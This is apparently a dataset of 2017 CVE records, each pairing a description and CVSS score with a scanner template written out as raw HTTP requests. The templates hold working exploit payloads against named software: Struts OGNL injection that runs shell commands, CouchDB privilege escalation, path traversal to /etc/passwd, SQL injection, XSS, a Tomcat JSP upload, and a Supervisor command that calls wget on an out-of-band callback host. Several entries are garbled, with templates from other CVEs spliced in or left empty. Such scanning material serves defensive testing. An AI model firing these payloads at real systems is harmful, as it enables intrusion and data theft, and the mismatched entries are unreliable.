(Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0\\nAccept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01\\nAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3\\nAccept-Encoding: gzip, deflate\\nX-Requested-With: XMLHttpRequest\\nConnection: close\\nCookie: dnn_IsMobile=False; DNNPersonalization=WriteFileC:\\\\Windows\\\\win.ini\\n'], 'matchers': [{'condition': 'and', 'type': 'word', 'words': ['[extensions]', 'for 16-bit app support'], 'part': 'body'}, {'type': 'status', 'status': [404]}]}]"], ["CVE-2017-9791", "The Struts 1 plugin in Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.", 41, [], 9.8, " cpe:2.3:a:apache:struts:2.3.1", "[{'matchers': [{'words': ['Content-Type: text/html'], 'type': 'word', 'part': 'header'}, {'condition': 'and', 'type': 'regex', 'regex': ['root:[x*]:0:0']}, {'type': 'status', 'status': [200]}], 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, 'body': 'name=%25%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%23%71%29%7d&age=10&__checkbox_bustedBefore=true&description=\\n', 'path': ['{{BaseURL}}/integration/saveGangster.action'], 'matchers-condition': 'and', 'method': 'POST'}]"], ["CVE-2017-12635", "Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.", 31, [], 9.8, " cpe:2.3:a:apache:couchdb", "[{'matchers': [{'words': ['application/json', 'Location:'], 'type': 'word', 'part': 'header'}, {'words': ['org.couchdb.user:poc', 'conflict', 'Document update conflict'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [201, 409]}], 'raw': ['PUT /_users/org.couchdb.user:poc HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\\nAccept: application/json\\nConnection: close\\nUpgrade-Insecure-Requests: 1\\nContent-Length: 108\\n\\n{\\n \"type\": \"user\",\\n \"name\": \"poc\",\\n \"roles\": [\"_admin\"],\\n \"roles\": [],\\n \"password\": \"123456\"\\n}\\n'], 'matchers-condition': 'and'}]"], ["CVE-2017-18566", "The user-role plugin before 1.5.6 for WordPress has multiple XSS issues.\n", 2057, [], 6.1, " cpe:2.3:a:bestwebsoft:user role", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"User Role by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/user-role/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-9416", "Odoo 8.0, 9.0, and 10.0 are susceptible to local file inclusion via tools.file_open. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n", 1572, [], 6.5, " cpe:2.3:a:odoo:odoo:8.0", "[{'path': ['{{BaseURL}}/base_import/static/c:/windows/win.ini', '{{BaseURL}}/base_import/static/etc/passwd'], 'matchers': [{'type': 'dsl', 'dsl': [\"regex('root:.*:0:0:', body)\", 'status_code == 200'], 'condition': 'and'}, {'type': 'dsl', 'dsl': [\"contains(body, 'bit app support')\", \"contains(body, 'fonts')\", \"contains(body, 'extensions')\", 'status_code == 200'], 'condition': 'and'}], 'stop-at-first-match': True, 'matchers-condition': 'or', 'method': 'GET'}]"], ["CVE-2017-18500", "The social-buttons-pack plugin before 1.1.1 for WordPress has multiple XSS issues.\n", 2081, [], 6.1, " cpe:2.3:a:bestwebsoft:social buttons pack", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Social Buttons Pack by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/social-buttons-pack/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18557", "The bws-google-maps plugin before 1.3.6 for WordPress has multiple XSS issues.\n", 2063, [], 6.1, " cpe:2.3:a:bestwebsoft:google maps", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Google Maps by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/bws-google-maps/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-11610", "The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisord namespace lookups.", 888, [], 8.8, " cpe:2.3:a:supervisord:supervisor", "[{'matchers': [{'type': 'word', 'words': ['http'], 'part': 'interactsh_protocol', 'name': 'http'}], 'raw': ['POST /RPC2 HTTP/1.1\\nHost: {{Hostname}}\\nAccept: text/xml\\nContent-type: text/xml\\nConnection: close\\nUpgrade-Insecure-Requests: 1\\nContent-Length:\\n\\n\\n supervisor.supervisord.options.warnings.linecache.os.system\\n \\n \\n wget http://{{interactsh-url}}\\n \\n \\n\\n']}]"], ["CVE-2017-18598", "The Qards plugin through 2017-10-11 for WordPress has XSS via a remote document specified in the url parameter to html2canvasproxy.php", 1041, [], 6.1, " cpe:2.3:a:designmodo:qards", "[{'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}'], 'matchers': [{'words': ['http'], 'type': 'word', 'part': 'interactsh_protocol'}, {'words': ['console.log'], 'type': 'word', 'part': 'body'}]}]"], ["CVE-2017-12149", "In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.", 306, [], 9.8, " cpe:2.3:a:redhat:jboss enterprise application platform:5.0.0", "[{'raw': ['POST /invoker/JMXInvokerServlet/ HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/octet-stream\\n\\n{{ base64_decode(\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==\") }}\\n', 'POST /invoker/EJBInvokerServlet/ HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/octet-stream\\n\\n{{ base64_decode(\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==\") }}\\n'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'part': 'body', 'words': ['ClassCastException']}, {'type': 'word', 'part': 'header', 'words': ['application/x-java-serialized-object']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-15363", "Directory traversal vulnerability in public/examples/resources/getsource.php in Luracast Restler through 3.0.0, as used in the restler extension before 1.7.1 for TYPO3, allows remote attackers to read arbitrary files via the file parameter.", 875, [], 7.5, " cpe:2.3:a:luracast:restler:0.3.1", "[{'method': 'GET', 'path': ['{{BaseURL}}/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php'], 'matchers': [{'words': ['\\\\\">All\")', 'contains(body_3, \"Contact Form to DB by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/contact-form-to-db/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-9288", "The Raygun4WP plugin 1.8.0 for WordPress is vulnerable to a reflected XSS in sendtesterror.php (backurl parameter).", 434, [], 6.1, " cpe:2.3:a:raygun:raygun4wp:1.8.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/raygun4wp/sendtesterror.php?backurl=%22%3E%3Cimg%20src%3Dx%20onerror%3D%28123%29%3E'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-18490", "The contact-form-multi plugin before 1.2.1 for WordPress has multiple XSS issues.\n", 2069, [], 6.1, " cpe:2.3:a:bestwebsoft:contact form multi", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Contact Form Multi by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/contact-form-multi/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-5487", "wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API implementation in WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.", 339, [], 5.3, " cpe:2.3:a:wordpress:wordpress", "[{'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'type': 'status', 'status': [200]}, {'type': 'word', 'condition': 'and', 'words': ['\"id\":', '\"name\":', '\"avatar_urls\":']}], 'path': ['{{BaseURL}}/wp-json/wp/v2/users/', '{{BaseURL}}/?rest_route=/wp/v2/users/']}]"], ["CVE-2017-10075", "The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.", 48, [], 8.2, " cpe:2.3:a:oracle:webcenter content:11.1.1.9.0", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': [''], 'type': 'word', 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3E(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO', '{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3E(31337)%3C%2Fscript%3E']}]"], ["CVE-2017-18529", "The promobar plugin before 1.1.1 for WordPress has multiple XSS issues.\n", 2077, [], 6.1, " cpe:2.3:a:bestwebsoft:promobar", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"PromoBar by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/promobar/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18516", "The bws-linkedin plugin before 1.0.5 for WordPress has multiple XSS issues.\n", 2059, [], 6.1, " cpe:2.3:a:bestwebsoft:linkedin", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"LinkedIn by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/bws-linkedin/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18590", "The Timesheet plugin before 0.1.5 for WordPress has multiple XSS issues.\n", 2793, [], 6.1, " cpe:2.3:a:bestwebsoft:timesheet", "[{'matchers': [{'dsl': ['contains(body, \"/wp-content/plugins/timesheet\")'], 'internal': True, 'type': 'dsl'}], 'raw': ['GET / HTTP/1.1\\nHost: {{Hostname}}\\n']}, {'matchers': [{'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")'], 'condition': 'and', 'type': 'dsl'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-1000028", "Oracle, GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated Directory Traversal vulnerability, that can be exploited by issuing a specially crafted HTTP GET request.", 38, [], 7.5, " cpe:2.3:a:oracle:glassfish server:4.1", "[{'method': 'GET', 'matchers': [{'words': ['/sbin/nologin'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd']}]"], ["CVE-2017-17731", "DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.\n", 1574, [], 9.8, " cpe:2.3:a:dedecms:dedecms", "[{'path': ['{{BaseURL}}/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\\\%27%20or%20mid=@`\\\\%27`%20/*!50000union*//*!50000select*/1,2,3,md5({{num}}),5,6,7,8,9%23@`\\\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294'], 'matchers': [{'part': 'body', 'type': 'word', 'words': ['{{md5({{num}})}}']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2017-18487", "The adsense-plugin (aka Google AdSense) plugin before 1.44 for WordPress has multiple XSS issues.\n", 2056, [], 6.1, " cpe:2.3:a:google adsense project:google adsense", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Google AdSense\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/adsense-plugin/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-7615", "MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.", 46, [], 8.8, " cpe:2.3:a:mantisbt:mantisbt", "[{'method': 'GET', 'matchers': [{'words': ['\\\\\">All\")', 'contains(body_3, \"Social Login by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/social-login-bws/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-1000163", "Phoenix Framework versions 1.0.0 through 1.0.4, 1.1.0 through 1.1.6, 1.2.0, 1.2.2 and 1.3.0-rc.0 contain an open redirect vulnerability, which may result in phishing or social engineering attacks.", 1575, [], 6.1, " cpe:2.3:a:phoenixframework:phoenix:1.0.0", "[{'path': ['{{BaseURL}}/?redirect=/\\\\interact.sh'], 'matchers': [{'part': 'header', 'type': 'regex', 'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\\\-_]*\\\\.)?interact\\\\.sh(?:\\\\s*?)$']}], 'method': 'GET'}]"], ["CVE-2017-14537", "trixbox 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.", 35, [], 6.5, " cpe:2.3:a:netfortris:trixbox:2.8.0.4", "[{'matchers': [{'type': 'status', 'status': [200]}, {'type': 'regex', 'regex': ['root:[x*]:0:0:'], 'part': 'body'}], 'raw': ['POST /maint/index.php?packages HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\nAccept-Language: en-US,en;q=0.5\\nContent-Type: application/x-www-form-urlencoded\\nReferer: {{Hostname}}/maint/index.php?packages\\nContent-Length: 160\\nCookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2\\nAuthorization: Basic bWFpbnQ6cGFzc3dvcmQ=\\nConnection: keep-alive\\n\\nxajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages\\n', 'GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\nAccept-Language: en-US,en;q=0.5\\nReferer: {{Hostname}}/maint/index.php?packages\\nCookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2\\nAuthorization: Basic bWFpbnQ6cGFzc3dvcmQ=\\nConnection: keep-alive\\nUpgrade-Insecure-Requests: 1\\n'], 'matchers-condition': 'and'}]"], ["CVE-2017-14849", "Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to \"..\" handling was incompatible with the pathname validation used by unspecified community modules.", 45, [], 7.5, " cpe:2.3:a:nodejs:node.js:8.5.0", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'type': 'regex', 'regex': ['root:[x*]:0:0:'], 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/static/../../../a/../../../../etc/passwd']}]"], ["CVE-2017-17059", "XSS exists in the amtyThumb amty-thumb-recent-post (aka amtyThumb posts or wp-thumb-post) plugin 8.1.3 for WordPress via the query string to amtyThumbPostsAdminPg.php.", 432, [], 6.1, " cpe:2.3:a:amtythumb project:amtythumb", "[{'method': 'POST', 'body': 'amty_hidden=1', 'path': ['{{BaseURL}}/wp-content/plugins/amty-thumb-recent-post/amtyThumbPostsAdminPg.php?%22%3E%3Cscript%3E%28123%29%3C%2Fscript%3E=1'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-1000353", "Jenkins versions 2.56 and earlier as well as 2.46.1 LTS and earlier are vulnerable to an unauthenticated remote code execution. An unauthenticated remote code execution vulnerability allowed attackers to transfer a serialized Java `SignedObject` object to the Jenkins CLI, that would be deserialized using a new `ObjectInputStream`, bypassing the existing blacklist-based protection mechanism. We're fixing this issue by adding `SignedObject` to the blacklist. We're also backporting the new HTTP CLI protocol from Jenkins 2.54 to LTS 2.46.2, and deprecating the remoting-based (i.e. Java serialization) CLI protocol, disabling it by default.\n", 2831, [], 9.8, " cpe:2.3:a:jenkins:jenkins", " "], ["CVE-2017-0929", "DNN (aka DotNetNuke) before 9.2.0 suffers from a Server-Side Request Forgery (SSRF) vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.", 853, [], 7.5, " cpe:2.3:a:dnnsoftware:dotnetnuke", "[{'path': ['{{BaseURL}}/DnnImageHandler.ashx?mode=file&url=http://{{interactsh-url}}'], 'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'part': 'interactsh_protocol', 'type': 'word', 'words': ['http']}, {'type': 'status', 'status': [500]}]}]"], ["CVE-2017-8229", "Amcrest IPM-721S V2.420.AC00.16.R.20160909 devices allow an unauthenticated attacker to download the administrative credentials.\n", 2002, [], 9.8, " cpe:2.3:o:amcrest:ipm-721s firmware", "[{'method': 'GET', 'matchers': [{'condition': 'and', 'type': 'word', 'part': 'body', 'words': ['DevInformation', 'SerialID']}, {'type': 'word', 'part': 'header', 'words': ['application/octet-stream']}, {'type': 'status', 'status': [200]}], 'path': ['{{BaseURL}}/current_config/Sha1Account1'], 'matchers-condition': 'and'}]"], ["CVE-2017-11512", "The ManageEngine ServiceDesk 9.3.9328 is vulnerable to arbitrary file downloads due to improper restrictions of the pathname used in the name parameter for the download-snapshot URL. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.\n", 1157, [], 7.5, " cpe:2.3:a:manageengine:servicedesk:9.3.9328", "[{'method': 'GET', 'path': ['{{BaseURL}}/fosagent/repl/download-file?basedir=4&filepath=..\\\\..\\\\Windows\\\\win.ini', '{{BaseURL}}/fosagent/repl/download-snapshot?name=..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini'], 'stop-at-first-match': True, 'matchers': [{'part': 'body', 'words': ['bit app support', 'fonts', 'extensions'], 'type': 'word', 'condition': 'and'}]}]"], ["CVE-2017-3506", "Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.", 28, [], 7.4, " cpe:2.3:a:oracle:weblogic server:10.3.6.0.0", "[{'matchers': [{'words': ['dns'], 'type': 'word', 'part': 'interactsh_protocol'}], 'raw': ['POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: text/xml\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,\\nContent-Type: text/xml;charset=UTF-8\\nContent-Length: 873\\n\\n\\n \\n \\n \\n \\n http://{{interactsh-url}}\\n \\n \\n \\n \\n \\n \\n \\n \\n\\n']}]"], ["CVE-2017-12617", "When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.\n", 1573, [], 8.1, " cpe:2.3:a:apache:tomcat:7.0.0", "[{'matchers': [{'part': 'body_2', 'type': 'word', 'words': ['CVE-2017-12617']}, {'type': 'status', 'status': [200]}], 'raw': ['PUT /{{randstr}}.jsp/ HTTP/1.1\\nHost: {{Hostname}}\\n\\n<% out.println(\"CVE-2017-12617\");%>\\n', 'GET /{{randstr}}.jsp HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers-condition': 'and'}]"], ["CVE-2017-15287", "There is XSS in the BouquetEditor WebPlugin for Dream Multimedia Dreambox devices, as demonstrated by the \"Name des Bouquets\" field, or the file parameter to the /file URI.", 966, [], 6.1, " cpe:2.3:a:bouqueteditor project:bouqueteditor:2.0.0", "[{'raw': ['GET /webadmin/pkg?command= HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n'], 'matchers': [{'type': 'word', 'words': ['Unknown command: ']}]}]"], ["CVE-2017-1000170", "jqueryFileTree 2.1.5 and older Directory Traversal", 44, [], 7.5, " 